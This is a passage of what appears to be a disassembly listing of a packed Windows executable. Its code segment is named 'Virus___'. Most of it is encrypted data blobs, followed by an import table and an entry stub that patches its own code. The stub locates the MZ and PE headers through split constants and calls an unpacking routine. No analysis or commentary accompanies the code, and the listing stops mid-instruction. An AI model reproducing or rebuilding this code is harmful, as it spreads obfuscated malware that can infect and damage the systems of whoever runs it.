dd 6BAB77DFh, 98285C55h, 0CB38B1C6h, 6613BA49h, 559D5C74h dd 681DA7CCh, 1BB66549h, 6AF45F69h, 0FB86C707h, 0DAEA56BEh dd 0C4AA912Ch, 938836B2h, 42056D40h, 7DCBB161h, 6324FB36h dd 44F7531Ch, 0E816181Dh, 4915A392h, 0FE32703Eh, 0FEF7C30Ah dd 70749317h, 0D8D33629h, 62CA99C4h, 18D15B04h, 5CBCBB83h dd 6BED2782h, 3F5E9AF2h, 0D39D5ACCh, 3C6B116Bh, 0FB2E78F8h dd 0A237983h, 1710F690h, 73134AD8h, 8F6347B8h, 0D70D4A6Dh dd 0DF0E21D2h, 4C0D8A4Ch, 0CB0AF166h, 0D253C248h, 0D897BBF8h dd 8DE34DA1h, 0E7A5A0FAh, 3813AB05h, 35136FF8h, 0EC49EAF0h dd 1305BC9Fh, 0FE2D9AA3h, 34B90D7Ch, 51D8D6CBh, 0C029D1D7h dd 0BD1472E4h, 0F384FEBh, 0FB885B08h, 0AB18ACBCh, 22C04A08h dd 2C0C70C8h, 9F40131h, 0B8EDB92Eh, 52866D1h, 8E5B2BCh dd 26AD4013h, 0ACC921C8h, 0C61E9BEFh, 5CBFF8FEh, 8A88D6FCh dd 3063EF91h, 0FDB84BFFh, 0D5E0A5D3h, 9886F5CBh, 38C4DF34h dd 3A2C832Bh, 0D8B64608h, 66EC2700h, 0CDC3B832h, 6732BB89h dd 0C12C6707h, 3BF0C440h dd 39E0C53Ch, 0C40943DBh, 8D9A88A3h, 3289942h, 3C5FA144h dd 0D45651EBh, 131E7C4Fh, 0EDB5A8EBh, 69A855A7h, 2EF5E4h dd 0E049367Dh, 0C7277EE0h, 3C45BDFFh, 0CECA35F8h, 0D73D79E8h dd 0B1A4796Ch, 71AEDA44h, 0B1363CE5h, 22247C98h, 54AD5CFCh dd 0C0F901F4h, 0D04FFF64h, 9CE6EAC4h, 0FAC4BDE6h, 0F594A520h dd 0BD27F23Eh, 5F363537h, 0BD8484BBh, 5A45DE3h, 0A80205F8h dd 0B413683Bh, 0A22442ABh, 22ABA617h, 58CE1D04h, 6D2A2418h dd 842630BEh, 4BE29D0h, 0FDC85DC8h, 791DFCDCh, 2F1254E1h dd 8E1717E4h, 0FC5863FFh, 0D0F85FA2h, 3D41D140h, 3A239965h dd 0BC6E61EBh, 0C50399FEh, 3D65EC22h, 8A98586Eh, 34B353B3h dd 0D7D2B6C0h, 4C079221h, 0FBE68D56h, 1F1C0020h, 0DCD4F318h dd 24C132E6h, 6FBB69C2h, 1FA971C7h, 0ABF1790Bh, 0DCE354B0h dd 691AB12Bh, 0C0F51B24h, 270A54DDh, 5A7D4616h, 1D09A648h dd 57E82305h, 3409952Fh, 4919A000h, 0DEFFB0DCh, 66D86DF4h dd 67E95518h, 3CD78F30h, 2B0B0326h, 1650C2h, 0DECD4724h dd 702E71F6h, 40A1ABE4h, 45FFA6F8h, 0CBC25C11h, 0D175C6CCh dd 58BFF4FCh, 938165D8h, 0C70DC5E8h, 0ACE846E2h, 0DF138CD7h dd 0D2C26229h, 1886B6FCh, 54BC7978h, 3B84A730h, 64CF76C0h dd 5FE127F8h, 4C74F0A7h, 40D4D536h, 47D446F8h, 21F4BFC3h dd 21520F53h, 2F2637A9h, 0D715F1DEh, 2934EF8Fh, 0B073E3h dd 9A4DE077h, 81B5B41Ah, 0ED042EFAh, 7099990Fh, 2DC09BC0h dd 58874207h, 0C2C675F8h, 3F1450DFh, 73F85978h, 5B176C97h dd 0A5471AE4h, 4B2B5500h, 854FA8E7h, 0A0085C58h, 0BF145DCh dd 44AD52Bh, 0E6EA7C28h, 302B3334h, 3DE6C505h, 39F6BBE1h dd 665C6639h, 6FCBF401h, 3C30E7BAh, 6A04A403h, 1BF9ED3Ch dd 0DF76C04h, 1C57Bh, 681C4630h, 3D403C1Eh, 845791EBh dd 9D53B600h, 96E15C30h, 83B0730Bh, 3DEC41CAh, 1DC3973Ch dd 7E6999D8h, 0ECDBDC9h, 69C073E9h, 41E16B26h, 1365A422h dd 0DC0B8D2Bh, 69CB193Bh, 0F5C09821h, 0CCAE61C5h, 7E375596h dd 3D544439h, 9BE841C2h, 6BAC51D0h, 0C42657C3h, 0FB814AE0h dd 0FD01D4C3h, 23C9F1F8h, 0E9192C3Bh, 1DB58F92h, 4166B12Bh dd 66FDFB03h, 4C61D01Eh, 6AD192C7h, 0F72AE70Fh, 3BFEB2CCh dd 8AF29639h, 61C702C7h, 0B3C25C05h, 3B7EB23Ch, 664F1474h dd 2B447B49h, 0D9B0B1DEh, 6138D4C3h, 0AB08B1A6h, 94D280F4h dd 6AF5A2CAh, 0FC83108h, 5CA86D8Bh, 1EF7B203h, 0BAC56408h dd 1FB6B61Fh, 892F85E7h, 2C8AFA2Eh, 0FD4741C6h, 3B15B33Eh dd 1F1F4D1Ch, 1BED790Ch, 0FED2529h, 0ABD10B28h, 2C306717h dd 2A6FBB2Bh, 9BCEA670h, 0A7A71F1h, 140B4A46h, 0AC7AA463h dd 64F67E9Dh, 15E07D09h, 19A965h, 393DB538h, 83CCB63Ch dd 0BEB8A4C8h, 4FA5313Ch, 0D5F4417h, 0BC05C5BAh, 169BB953h dd 60EA88C9h, 61567DFCh, 0DAE9494Fh, 1FF78D67h, 38DA897Ah dd 61FCB88Ch, 4D89F3B0h, 3DBE9B22h, 0E02DDD15h, 0A8230E4h dd 0AB66DD6h, 0C6D738DEh, 0FB6F186Ah, 6B33F12Ah, 3BF752CEh dd 0B237C00Fh, 3BE02F21h, 1ADF62A4h, 6C0657C9h, 382E78A5h dd 0BA9EF1Ah, 6179AF17h, 0EEE17526h, 0BF679FFh, 6FE0BB39h dd 0F4C5BFA4h, 73E0A12Fh, 0CBE095C4h, 80D4A604h, 68548C7Ch dd 0E0B45E48h, 6BD3014Ch, 35A1A979h, 0A031A11Bh, 0A5143E67h dd 40B4C324h, 66878410h, 0F5E67F0Dh, 0EDF4CB8Eh, 5C497436h dd 48204C26h, 9B2E570Bh, 0F5B449DDh, 2330F6EDh, 0CA8AD7Ah dd 4921AD6Ah, 309C3AF8h, 6A36B418h, 3C73AC45h, 0F24BC00h dd 0AB29F7DBh, 0FC246B09h, 40CA9C23h, 93BA7A5Ch, 4D7DED1h dd 642DB506h, 1DB2601Bh, 0B4BA37ABh, 8BC0EF75h, 0A1CB9644h dd 0BB41EAA4h, 0BB81D0F9h, 0A143A2B3h, 0CCDEDB3h, 2C57C08h dd 86CF5D1Eh, 7A59F506h, 9B006F7Fh, 0B93D1CBh, 18116522h dd 10C071A8h, 0DC859567h, 58C6B8FCh, 6DB091B6h, 6B61E047h dd 0D8B50B59h, 0C3CBB373h, 416FA1C5h, 64D48F16h, 0D110B945h dd 0DDA4E0FCh, 396E1DC4h, 4E1EF16Ch, 48DE8ABFh, 61A21651h dd 0D654010Ch, 4CF8D331h, 0F90C8D63h, 0BB3FA65h, 0B41235A3h dd 82C0F77Ah, 69028AD8h, 6021E50Ah, 0E6535CC4h, 2B255332h dd 58815165h, 6CBD5B55h, 403586E8h, 4A0B27C2h, 303E6171h dd 0FF18435Ch, 570A4BC7h, 0D6F644A4h, 0BFF0036h, 0E4EA4429h dd 4EEBC23h, 0CA074C63h, 4D2C8801h, 0DF31B700h, 20B758C8h dd 26C14C0Bh, 69F7680Ch, 0C709B70Eh, 8564D37Eh, 0C3E2FC2Ch dd 0EA294081h, 6803C8CFh, 0C4C2AA17h, 0B8EF96FDh, 0DF62CD0Dh dd 660606C4h, 2CAE190Ah, 41CC4607h, 0F1989124h, 81D4EE3Eh dd 468786A7h, 0AA08F77Dh, 0FB1E61C1h, 41E46896h, 0F42736A8h dd 0FAB6477Ch, 0C75C79EFh, 0FC94C7EFh, 0F00D15CCh, 0F62F796Dh dd 4DE6B839h, 0BC416D0Eh, 2E314F36h, 0F3EC02F9h, 3BF407ECh dd 8E1BBCCh, 0AEBB2FDh, 6E5E6B21h, 34184215h, 1A3DAF23h dd 52E3B9DCh, 0C2300343h, 1B0A4950h, 4F8FDD43h, 93B1C47Dh dd 246BA2C4h, 2A3A951Bh, 15C254C2h, 0D0ECB83Fh, 6D14ADDEh dd 93D9563Ah, 86D73C2h, 0AE16CCCCh, 7C4E73DCh, 0FE28963Fh dd 0F628A665h, 0C4207EFAh, 8B04F276h, 0A4D48520h, 24C2B23Ah dd 7C3B196Fh, 0E1E11C8Ah, 1F1201EDh, 1B7277E7h, 0CC340D89h dd 0FD2C4367h, 6924714Eh, 84CF9DE8h, 86E88C1h, 0E728738Eh dd 0ED0CFB2Dh, 815EED75h, 921569A5h, 4D5874A5h, 7D7401EDh dd 6EAFB2A9h, 0AD63A685h, 5857756Ch, 0B7175432h, 0FEF7073Ch dd 0C0F30AEAh, 886CEB61h, 16FB7DA8h, 14452431h, 0F4F24E84h dd 41F5C491h, 7A238934h, 74214929h, 4F8B5D28h, 0C6C79318h dd 7A451531h, 7A0003E8h, 70F470A8h, 851BC619h, 4C16CC08h dd 0AC626767h, 0D7DBFACEh, 3726D7A7h, 6894118Dh, 0E3D246E9h dd 0C73B8A9Eh, 0C65FA08h, 0B7C4C60Fh, 423CF2CEh, 0FFADC2CDh dd 755D209Dh, 0AADCC2C8h, 2D5D8653h, 0EF2091F7h, 0E85D1EE7h dd 0EBFF1096h, 0A490383h, 9B532191h, 94EF16FFh, 1A5941AAh dd 0C0859BEFh, 0D0E45369h, 6118AD71h, 0E3AAB4F2h, 0F8E27BF6h dd 4DD0B076h, 30E16A2Dh, 4321B0A0h, 70EF0E86h, 0D4FE49F4h dd 2C401EE5h, 9610D227h, 0F6161BEEh, 0A058F069h, 0FFD12484h dd 0C16BC4CDh, 0E8483DAEh, 68DD08D1h, 84ED2402h, 0C33DA3D1h dd 0FB387721h, 9CF0CAF4h, 8C79E667h, 942CC70Fh, 1F070A97h dd 4F10F2Ch, 7592C9Eh, 34650F84h, 0E7AD8933h, 1626B58Bh dd 0B7385BFFh, 7888ECF3h, 0F86ED2DEh, 0D8F044AEh, 854790E8h dd 15BAAE28h, 7D5C44D6h, 0BA173930h, 0AA84A136h, 6C4880DCh dd 102A7A06h, 0A03895E5h, 9C2C9C8Ch, 0ECFBE6E1h, 54D800D8h dd 0F4189DE4h, 1452540Dh, 9B2A1E3Ah, 6AB53A9Dh, 0F124EC90h dd 0F7F37B66h, 9D4B1C85h, 6088D3B5h, 0CBACE151h, 0F92E3B0Ch dd 0F5C35EC2h, 572676EBh, 0FD856CDEh, 0FBE763E9h, 0FE4F748Fh dd 0D045837Ch, 18C96009h, 95C15087h, 15C04F04h, 0DEC37843h dd 92AA6ED2h, 0CE02702Dh, 0D254B33Dh, 0C83A0112h, 0F9C9FE75h dd 0CA198C3Dh, 71CC8A14h, 96DE34CAh, 0D5F4755Eh, 0FE68F97Bh dd 0B66871Ah, 0C6D474E7h, 197E6C66h, 0E3D5296Bh, 202221EEh dd 0F5D70F84h, 1914C67Ch, 6BA47B57h, 0DDE00FE2h, 993D0F8Eh dd 0C0E7585Fh, 75170708h, 6F2301B2h, 44787097h, 0FD4F6170h dd 92A9E5B7h, 36E47910h dd 0C36A01BCh, 6CECDDA6h, 0E20447B9h, 0D0FE1FB6h, 942ADED1h dd 0C3034D35h, 6DA573FCh, 356C85E6h, 2B58071Bh, 6B2772AEh dd 0FF422638h, 0B4A74EF5h, 0F66750E8h, 9C7F459Ch, 2D7C1CEDh dd 0ED2317E9h, 84371D35h, 0A97CB397h, 0C872012Eh, 0E37706A1h dd 0BA3C189Ch, 0BA2590D9h, 455C3BABh, 0C62E02CFh, 74831868h dd 11FFACA9h, 0E30C863Ch, 4223EA38h, 34ECFB90h, 0A250323Ch dd 0A3E0025Ch, 0CBF5B735h, 0F5B75D06h, 0F8F179C2h, 0AD2E33FAh dd 0BBB28138h, 645604B6h, 90927D34h, 0F3C5463Ch, 0BFB6A3D4h dd 333E3FECh, 0AE92B1BDh, 15CC7F09h, 0FC0BD41Ah, 0DA81C2C4h dd 4D1F1D8h, 67D5990Ah, 0C6CFE083h, 0CE629E81h, 873EF2C0h dd 680CDC34h, 27C76C18h, 88DDA7FCh, 0EA50A1C9h, 7BEDFC26h dd 0DEF79537h, 5A234397h, 4AE776FCh, 0EDDCBCA7h, 0D89F2E9Fh dd 0EAC97D1Ah, 0DCA176E3h, 0EEF4B829h, 89B094A9h, 66DD96EBh dd 9BEE95CAh, 6CFA1A0h, 0A32F512Ch, 99A8F55Bh, 0AA77C540h dd 319043B3h, 0A0C2D16Fh, 0CD1BA06h, 67C00958h, 8580736Eh dd 186C6551h, 1ACF9C69h, 37E39DDDh, 0C84DB1D0h, 0EED22404h dd 5418E01Ch, 0C10647Fh, 93F6718h, 3E2129F5h, 60BB403Eh dd 9677D82Fh, 68C749E4h, 0AB73B1BDh, 0C15789E1h, 5945CB95h dd 0D3148D1h, 0D2F75840h, 1F1B502Dh, 0A56AE0EFh, 0AD1165D7h dd 6DBDBFD9h, 88C5B39Fh, 56148C8Eh, 48AD0C47h, 1A6D58FBh dd 2775C227h, 2BF6F7DBh, 98C9299Eh, 0B3958EAh, 24529517h dd 94DCB5FAh, 63CA0904h, 29475700h, 26098F8Fh, 0AB190FD3h dd 2774207Eh, 4C3174D3h, 0DC9C551Bh, 82FAA13Dh, 5CCAE091h dd 3EC2438Eh, 0E1ADB732h, 0FD0E0ECAh, 0DCB39174h, 6EDF2617h dd 86FA96A4h, 0EDD168BEh, 13C6AF7h, 2CE65A7Dh, 1C95395Bh dd 0EBA6FC75h, 3826DAC8h, 0FD2A319h, 1B7240F3h, 0AD1EDADEh dd 324ECD8h, 0FDC37F7Ah, 0F05F4FE3h, 0F62FD123h, 2C505AB6h dd 5A0C7016h, 509BD76h, 0C4A073F8h, 0DCCCAA4Bh, 24FC9D03h dd 0CEB5E3Eh, 0DA0667A8h, 6EB7B40h, 88D40C2h, 0DC86B899h dd 9CCF217Fh, 3C0E3FCBh, 12E0948Bh, 0EFAD653h, 0D4EF0Eh dd 0A8F620E0h, 40EDDFC4h, 1CF9C626h, 0CF511Fh, 42E0C234h dd 8EA05119h, 0ADF0D5BCh, 47953E7h, 0E8778636h, 0FC8204E4h dd 0CE267CA2h, 4DCD7D2Dh, 343F395Eh, 2FBF3A02h, 0FC963D76h dd 2FFAB71Fh, 0DF60B5CFh, 13759DD5h, 5E11E220h, 30E5E654h dd 0D31EAE41h, 3038BD6h, 0D9614C81h, 3EB31D14h, 9068EF17h dd 0D6E0C244h, 1C28B2E6h, 13980114h, 6498864Ch, 4C3A14B6h dd 15C7C789h, 0F0FBC200h, 0AD0F127h, 0E7D51305h, 59D048C6h dd 851BFCFCh, 6DC659C9h, 2EE65D8Dh, 5DD675C7h, 27597562h dd 1292DEF9h, 896B900Dh, 528D1286h, 72E67C9h, 8E77472Fh dd 8F7F1CE2h, 6E007960h, 19141A1Eh, 3DB38410h, 9AEAA1C2h dd 21D05A94h, 0B44D84Fh, 5BF6BA38h, 4860D9E4h, 7DE87D21h dd 6816C32h, 9F2CF18Ah, 12E1B537h, 0B58438CCh, 0BE656423h dd 15E9B30Ah, 99514426h, 0E78A421Bh, 72B03C35h, 32982CC5h dd 4DF43845h, 49F0CB3Ch, 5927588Dh, 0CF30D2D9h, 0A2C674A3h dd 552C6141h, 7F22DA9Dh, 0A0089050h, 0D4F066E9h, 0D1B6EB98h dd 61F92DF8h, 1B7741FBh, 4A30F96Ah, 9DCBEAC3h, 0BECF1F80h dd 0A0D10348h, 0DEEEB4F2h, 4F7BE27h, 810F3DC3h, 34FB60ACh dd 0DC175D0Fh, 69518FCBh, 65B69A9Fh, 3E3D6CBh, 788C668h dd 0DC813533h, 0EDA357DCh, 0B947EDFh, 39FAB127h, 0C00D8A6h dd 3E9C474h, 3A37B428h, 0F02CB835h, 0C8F4963Bh, 5634B83Eh dd 5D2D5515h, 520D796Bh, 2F67B48h, 9FDE4668h, 32E07556h dd 285B3C75h, 66012C16h, 6FDC59E8h, 4038BE61h, 12A406B9h dd 89B3BFAh, 0AA0791Bh, 0DF19C122h, 0C25B43E0h, 0E141E6h dd 9F627DCh, 8477C867h, 0A620BF53h, 856C991Eh, 9536EA08h dd 6CE20EE9h, 43F19C86h, 3FCD406h, 6EA8A6EDh, 0CC7757D9h dd 74D4044Ch, 0EF39096Bh, 0F53D4134h, 0C5A9D15Dh, 992CAA64h dd 0D3047577h, 30F3429Ch, 6B074374h, 0C86C597Fh, 25F3348Eh dd 63162744h, 0DBAA4DF0h, 5F3AB3B4h, 2AA074C9h, 4DF47C10h dd 0C7385DFCh, 97350467h, 0DA780638h, 0D4A639E7h, 549F177Ch dd 6A5075F1h, 0B4C4DDCh, 40688D60h, 42C86897h, 0DB7AB5FDh dd 0BF3451F8h, 0A4927E0h, 4D94557Fh, 472DD9FFh, 7DC87520h dd 0DCE87708h, 0C4046CDCh, 0EB2DFFF4h, 5CE3653Fh, 70E1A566h dd 2F0C75DEh, 0EDA8B480h, 6558518Eh, 873CB59Ch, 2D566F9Fh dd 41006900h, 8F357125h, 0C56CFA22h, 1840F964h, 9F1C751Eh dd 4CDCF923h, 0DAD84260h, 0B448138h, 0FF0D752Ch, 7CFDCCh dd 0C70D4AA2h, 0F406A5FFh, 0B82C7528h, 6EE819E7h, 50C0778Ch dd 0D4F481E7h, 3F35B1D9h, 0D70C7CC7h, 24EF1966h, 0B9AD3925h dd 7234517Ch, 7F025EFh, 0FF0052Ah, 10E1B72Fh, 0C3B29B3Bh dd 0A50499FDh, 33C5FD5Fh, 6C290001h, 55C38130h, 56FF1F79h dd 0F3D444D4h, 35F046A1h, 71D5151h, 6610A748h, 5A608E81h dd 2D0744ABh, 5AF8A983h, 2B6070D9h, 0E4645FC3h, 13C99022h dd 27D2FC0Eh, 38333D66h, 0D4D1151Bh, 137E6E55h, 0B4ABC246h dd 18C59925h, 47939C19h, 98F91171h, 0B396F07h, 2AB45581h dd 0D8A13A29h, 0DF8FB118h, 55D760A3h, 0DF1315B5h, 5740A300h dd 85E242CBh, 50CA9392h, 18C1BC60h, 4A0B12C5h, 0B5BBC91h dd 0EEA08D07h, 7F1635D0h, 316943Dh, 3B104602h, 1F1E3121h dd 0B6C89F88h, 195ACE6Dh, 0BDE1F217h, 1C05418Eh, 1A5D6153h dd 3CA09614h, 4E3C92Fh, 0DC738C2Ah, 8FE7C889h, 2D40912Eh dd 0E442DCC3h, 76AF311h, 613E0209h, 53EA9807h, 0AB0491BAh dd 1B37665h, 3C90B60Ah, 0A2E5E404h, 0DBCFB09Bh, 7AE5B27Eh dd 0AD227D8Fh, 1D885CACh, 94EDD12Bh, 1F9AFF30h, 0D95E8D09h dd 2F0D4FD5h, 8513C882h, 7DC4FCEh, 1951BAFFh, 0E9D89822h dd 0EE55A3Eh, 3DECF60Ch, 7B399D81h, 409CB731h, 1F0C4824h dd 0F438189h, 3AA8D949h, 0FC85ADA0h, 0FCB32E22h, 73EB63EDh dd 328D9FF6h, 733073D0h, 13CC1BCCh, 7D4C8204h, 72C96DF3h dd 0BFF4DFFBh, 0C2D45D42h, 0D959E57Ch, 0E8F6E5E5h, 0AB346197h dd 5E1E5A04h, 0F0B45CDCh, 3CB68D63h, 0A4F4E39Ch, 0DD796F8h dd 72E67707h, 3BD85988h, 0C9592FD8h, 0F6D13810h, 3CEA7F6Fh dd 3FDCA620h, 16D2E07h, 3280F7D8h, 1347E920h, 156F4E70h dd 0C6B23C1Ch, 0F9890812h, 3A57E74Fh, 0C580635Fh, 6B9BA10Eh dd 0B9372F6Bh, 4AEB254Dh, 2432E7F9h, 8ECB1C9h, 0EDE5D6D6h dd 0CE0D9F9Bh, 68002522h, 0BAB5909Ah, 0D8CCC9D9h, 704FA1E4h dd 3610856Eh, 82E44F3Ah, 0DCF644D6h, 9AF9ED7Ah, 6220972Eh dd 84EC4E80h, 53E74220h, 44B85998h, 0C87B222Bh, 4BB4CB4Ch dd 0A8B47E83h, 26D85D2h, 0D359F309h, 7AF450A9h, 49F4D9Bh dd 2660A3F5h, 120F8EC6h, 0DC1E40C1h, 36D77FC0h, 43D2E01Ch dd 6D686B11h, 23A0F026h, 0BD0E2728h, 0D1134125h, 0F09571Bh dd 69C04F63h, 0E279FD2h, 97C59C25h, 0C5F8A267h, 5E60F501h dd 32822000h, 4B3BCC29h, 0B2C19907h, 18E05616h, 0E1E794D4h dd 1ACABF90h, 4ECF9C76h, 38AA357Ah, 69A17C58h, 402A7h dd 4C755F4Eh, 1859BD30h, 6AD494AAh, 9E0ABCAh, 98E4C310h dd 555CD8DEh, 6D18D2CFh, 0E91E94C9h, 694873D6h, 2E58F33Ah dd 192A7972h, 56CDB9C3h dword_417800 dd 0F79CB4Bh, 6ECC6F31h, 3E01B3D4h, 49378F1Bh, 13F6A9FEh dd 1C7945F6h, 8481C57Fh, 94A531E4h, 63379282h, 26EFA71Dh dd 6AE4013Dh, 6BA5675Dh, 0DB6CCC8Bh, 3FC46D96h, 0A80B3C28h dd 9AD1A768h, 2E24820h, 6036E6F2h, 1FC7DA7Eh, 7204BDD0h dd 0B798C534h, 0B6ED43F0h, 22334F26h, 856F31h, 933F1D92h dd 5DFC6089h, 0F1E7B470h, 3DCA4C1Bh, 0A9AFF634h, 1B06A9A6h dd 3BD82BC3h, 95C3E874h, 0D6CA92CEh, 1D898A32h, 9F0D1BE7h dd 30C65175h, 98B6982Ch, 93C1A120h, 69D63CF4h, 2078B52Dh dd 0FAB04B8Bh, 10B399F8h, 0FDA15EC5h, 2526F4E3h, 0DC75AD31h dd 0A4FE16BCh, 0AEF54741h, 1D531CD8h, 0C9C499D1h, 0A538D736h dd 48D1887Ah, 44AC3120h, 86B4504h, 7E32E32Fh, 37168F78h dd 644C8D2Bh, 4C0FD9Ah, 7C93992Eh, 0FAD4267h, 490A8D04h dd 0DBA9AB28h, 130BC958h, 4E4C27BAh, 0C175A3D4h, 0C09AB3CCh dd 170E748Dh, 0FC037E53h, 0FF104CDFh, 0F26D5853h, 6AC8F81Eh dd 859340E2h, 0F8CBB72Ah, 0C4C3CB83h, 68CC2C03h, 46F08904h dd 0DF3E16D4h, 7CE70B14h, 0AEFB659h, 323A0BABh, 5DD4A7A1h dd 977BBE69h, 9E3DBFA5h, 10B51DDCh, 7B54563h, 4B195576h dd 55F46D87h, 0CF05B714h, 15CCA417h, 0DD7C4E6Fh, 0D428E437h dd 0BA0A939Eh, 0AFE0BC48h, 6939F4C8h, 1FFAB511h, 1D5635C3h dd 0DC1EC4CFh, 556070BCh, 0C2B14E01h, 0DABEC495h, 0E2C0130Fh dd 60CB3269h, 943B4BADh, 8D61B20h, 8B14FCCBh, 0DC75B66Ch dd 320E1438h, 8FF2F8B0h, 374B3CCCh, 370836CBh, 40E736h dd 38EB68FFh, 11EC77C5h, 0E6DA8B7Eh, 3CF7B08Ch, 7FC91D9h dd 3B4FC235h, 0E7ABB025h, 0C8124005h, 0A40CC9DCh, 93D89830h dd 4E732722h, 0E708878Fh, 83CCFB26h, 0B8C67C29h, 69E07F4Ah dd 8ADC8C18h, 0DD16FF4Bh, 68C90317h, 0E1A89201h, 9F52E550h dd 98D45188h, 6B13B20Eh, 9AC5B411h, 6FD51778h, 33E8EC79h dd 659B86B7h, 12E49B48h, 66017E14h, 83DE0C15h, 59F86910h dd 0FE8DADDh, 0BCF4674Eh, 0D9414622h, 0B80A5A87h, 33EB4814h dd 30F6EC7Dh, 30E9405Fh, 871CB36Ah, 6604D800h, 2B20E42Eh dd 1AC57F61h, 92CE7818h, 115EB924h, 39793AD6h, 0BAD1D8D2h dd 0D1124779h, 0CD203537h, 1C90BFA2h, 17E57F83h, 0ACABAA90h dd 21F1BEFEh, 3A3CFFC8h, 0CD69783Eh, 305689Ah, 68E7C023h dd 7B1BDEDFh, 430B042Fh, 9BB35A32h, 0CA8BD970h, 5636D939h dd 0DAEF0E10h, 8483AC9Eh, 26C5990Eh, 0EDC91D9h, 167DFACAh dd 32EEAE32h, 0D6E34E8Ah, 0A8C3CD7Eh, 0C4CF6F17h, 654851FBh dd 0CF33FD7Bh, 59B0B3B6h, 76519B26h, 78C66CE1h, 14D27FCEh dd 0C8555813h, 7179681h, 27C2E40Dh, 0B458451Dh, 162565B6h dd 0F4060A6Dh, 0EA240D9Bh, 77FB04CDh, 0E82567EDh, 0D7570595h dd 0F7DBAAEFh, 0EF5104CFh, 0F40416EDh, 0D55B8A0Dh, 0F75C10EFh dd 6E256B9Eh, 0AE26926Dh, 0B0FC84B3h, 0A7F57DE8h, 0FCF09583h dd 115FDFCAh, 44DF7D38h, 0FCF04062h, 4EDFC29h, 0A7A97D38h dd 0FCF064F8h, 20AF7FA7h, 2E664D38h, 3EF4544Fh, 0DC966417h dd 0D5CE643Ch, 0A8F455F0h, 2D7D6424h, 0AF0CA3Eh, 38E425FEh dd 3C5BC4A4h, 385710EFh, 90D4F85Ch, 0B05C97Fh, 3B8636Dh dd 5BD37973h, 0AF08921Ch, 26D35524h, 0F0C0E4C8h, 78838556h dd 55505B13h, 2101B224h, 0A125704Ch, 0F4A4D856h, 3E116h dup(0) ___ ends ; Section 2. (virtual address 00110000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00110000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 510000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 00111000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00111000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 511000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'Ïe',9,']',0 align 10h dd 111050h, 111000h, 3 dup(0) dd 111079h, 11100Ch, 5 dup(0) aKernel32_dll db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00112000) ; Virtual size : 000D7000 ( 880640.) ; Section size in file : 000D7000 ( 880640.) ; Offset to raw data for section: 00112000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Virus___ segment para public 'CODE' use32 assume cs:Virus___ ;org 512000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 0DF6344ACh, 497BDh, 5EADAh, 147172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 00512265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056AB30 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056DF85 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0056E1FB SIZE 000000E0 BYTES ; FUNCTION CHUNK AT 0056E311 SIZE 00000016 BYTES mov eax, 0 pusha or eax, eax jz short loc_512086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_512041 popa jmp short loc_512076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 20h, 51h, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_512041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51204E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51206D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_512074 loc_51206D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_51204E ; --------------------------------------------------------------------------- loc_512074: ; CODE XREF: start+57j mov edi, eax loc_512076: ; CODE XREF: start+1Bj jmp loc_512265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 11226Ah add ecx, edi jmp short loc_512090 ; --------------------------------------------------------------------------- loc_512086: ; CODE XREF: start+8j mov eax, offset loc_56AB30 mov ecx, offset word_51226A loc_512090: ; CODE XREF: start+70j push eax push ecx call sub_51211B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_512265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 224Eh db 90h db 0C8h, 7Ch, 30h dd 818C18h, 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h dd 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh dd 0D8B164C8h, 88BA75EBh, 2850A040h, 5A4E2BEFh, 1848C86h dd 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 22264C98h db 91h, 0C8h, 64h ; =============== S U B R O U T I N E ======================================= sub_51211B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_512127: ; CODE XREF: sub_51211B:loc_51213Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_512132: ; CODE XREF: sub_51211B+7Aj ; sub_51211B+C3j ... add dl, dl jnz short loc_51213B mov dl, [esi] inc esi adc dl, dl loc_51213B: ; CODE XREF: sub_51211B+19j jnb short loc_512127 add dl, dl jnz short loc_512146 mov dl, [esi] inc esi adc dl, dl loc_512146: ; CODE XREF: sub_51211B+24j jnb short loc_512197 xor eax, eax add 